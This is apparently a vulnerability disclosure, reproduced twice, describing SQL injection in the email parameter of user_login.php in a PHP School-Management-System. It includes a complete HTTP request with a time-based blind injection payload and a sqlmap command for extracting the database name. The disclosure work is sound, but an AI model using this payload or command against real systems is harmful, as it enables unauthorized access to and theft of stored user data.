NAME OF AFFECTED PRODUCT(S)
School-Management-System
Vendor Homepage
https://itsourcecode.com/wp-content/uploads/2022/01/School-Management-System-Project-In-PHP-Source-Code.zip
AFFECTED AND/OR FIXED VERSION(S)
submitter
1
Vulnerable File
/school/model/user_login.php
VERSION(S)
V1.0
Software Link
https://itsourcecode.com/wp-content/uploads/2022/01/School-Management-System-Project-In-PHP-Source-Code.zip
PROBLEM TYPE
Vulnerability Type
SQL injection
Root Cause
The code in the User_Login.php file directly concatenates the email parameters submitted by the user through POST into the SQL statement without any filtering or escaping processing, which allows the user to input malicious SQL statements and creates SQL injection risks.
Vulnerability details and POC
Vulnerability lonameion:
'email' parameter
Payload:
POST /school/model/user_login.php HTTP/1.1
Host: localhost
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="127", "Not)A;Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 119
do=user_login&email=1'||(SELECT 0x4a525665 WHERE 4507=4507 AND (SELECT 6318 FROM (SELECT(SLEEP(5)))EKGj))||'&password=1
python sqlmap.py -r url.txt --level 1 --risk 1 --current-db --batch --dbms= MySQL
NAME OF AFFECTED PRODUCT(S)
School-Management-System
Vendor Homepage
https://itsourcecode.com/wp-content/uploads/2022/01/School-Management-System-Project-In-PHP-Source-Code.zip
AFFECTED AND/OR FIXED VERSION(S)
submitter
1
Vulnerable File
/school/model/user_login.php
VERSION(S)
V1.0
Software Link
https://itsourcecode.com/wp-content/uploads/2022/01/School-Management-System-Project-In-PHP-Source-Code.zip
PROBLEM TYPE
Vulnerability Type
SQL injection
Root Cause
The code in the User_Login.php file directly concatenates the email parameters submitted by the user through POST into the SQL statement without any filtering or escaping processing, which allows the user to input malicious SQL statements and creates SQL injection risks.
Vulnerability details and POC
Vulnerability lonameion:
'email' parameter
Payload:
POST /school/model/user_login.php HTTP/1.1
Host: localhost
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="127", "Not)A;Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 119
do=user_login&email=1'||(SELECT 0x4a525665 WHERE 4507=4507 AND (SELECT 6318 FROM (SELECT(SLEEP(5)))EKGj))||'&password=1
python sqlmap.py -r url.txt --level 1 --risk 1 --current-db --batch --dbms= MySQL